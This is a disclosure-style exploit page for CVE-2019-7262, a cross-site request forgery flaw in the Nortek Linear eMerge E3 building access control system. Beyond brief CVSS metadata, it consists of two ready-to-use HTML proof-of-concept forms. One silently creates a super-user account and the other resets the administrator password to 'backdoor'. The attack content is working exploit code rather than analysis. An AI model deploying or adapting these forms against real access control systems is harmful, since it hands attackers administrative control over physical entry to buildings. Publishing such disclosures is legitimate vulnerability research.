Nortek Linear eMerge E3 Access Control Cross Site Request Forgery

2019.11.14

Credit: LiquidWorm

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-7262

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

Nortek Linear eMerge E3 Access Control Cross-Site Request Forgery

CVE: CVE-2019-7262
Advisory: https://applied-risk.com/resources/ar-2019-005
Discovered by Gjoko 'LiquidWorm' Krstic

<!-- CSRF Add Super User -->
<html>
  <body>
   <form action="http://192.168.1.2/?c=webuser&m=insert" method="POST">
     <input type="hidden" name="No" value="" />
     <input type="hidden" name="ID" value="hax0r" />
     <input type="hidden" name="Password" value="hax1n" />
     <input type="hidden" name="Name" value="CSRF" />
     <input type="hidden" name="UserRole" value="1" />
     <input type="hidden" name="Language" value="en" />
     <input type="hidden" name="DefaultPage" value="sitemap" />
     <input type="hidden" name="DefaultFloorNo" value="1" />
     <input type="hidden" name="DefaultFloorState" value="1" />
     <input type="hidden" name="AutoDisconnectTime" value="24" />
     <input type="submit" value="Add Super User" />
   </form>
  </body>
</html>

<!-- CSRF Change Admin Password -->
<html>
  <body>
   <form action="http://192.168.1.2/?c=webuser&m=update" method="POST">
     <input type="hidden" name="No" value="1" />
     <input type="hidden" name="ID" value="admin" />
     <input type="hidden" name="Password" value="backdoor" />
     <input type="hidden" name="Name" value="admin" />
     <input type="hidden" name="UserRole" value="1" />
     <input type="hidden" name="Language" value="en" />
     <input type="hidden" name="DefaultPage" value="sitemap" />
     <input type="hidden" name="DefaultFloorNo" value="1" />
     <input type="hidden" name="DefaultFloorState" value="1" />
     <input type="hidden" name="AutoDisconnectTime" value="24" />
     <input type="submit" value="Change Admin Password" />
   </form>
  </body>
</html>

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Nortek Linear eMerge E3 Access Control Cross Site Request Forgery

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